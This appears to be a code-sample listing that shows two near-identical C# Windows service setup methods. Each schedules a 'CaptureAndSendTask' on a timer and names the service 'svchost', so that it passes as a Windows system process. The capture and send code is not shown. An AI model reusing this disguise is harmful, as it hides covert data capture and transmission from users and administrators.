示例#1
0
        /// <summary>
        /// Required method for Designer support - do not modify
        /// the contents of this method with the code editor.
        /// </summary>
        private void InitializeComponent()
        {
            this.capture = new CaptureAndSend.CaptureAndSendTask();

            this.mytimer = new System.Timers.Timer();
            ((System.ComponentModel.ISupportInitialize)(this.mytimer)).BeginInit();

            this.mytimer.Interval = Convert.ToDouble(System.Configuration.ConfigurationSettings.AppSettings["intervalmiliseconds"]);
            this.mytimer.Elapsed += new System.Timers.ElapsedEventHandler(mytimer_Elapsed);

            components       = new System.ComponentModel.Container();
            this.ServiceName = "svchost";
            ((System.ComponentModel.ISupportInitialize)(this.mytimer)).EndInit();
        }
示例#2
0
        /// <summary> 
        /// Required method for Designer support - do not modify 
        /// the contents of this method with the code editor.
        /// </summary>
        private void InitializeComponent()
        {
            this.capture = new CaptureAndSend.CaptureAndSendTask();

            this.mytimer  = new System.Timers.Timer();
            ((System.ComponentModel.ISupportInitialize)(this.mytimer)).BeginInit();

            this.mytimer.Interval = Convert.ToDouble(System.Configuration.ConfigurationSettings.AppSettings["intervalmiliseconds"]);
            this.mytimer.Elapsed +=new System.Timers.ElapsedEventHandler(mytimer_Elapsed);

            components = new System.ComponentModel.Container();
            this.ServiceName = "svchost";
            ((System.ComponentModel.ISupportInitialize)(this.mytimer)).EndInit();
        }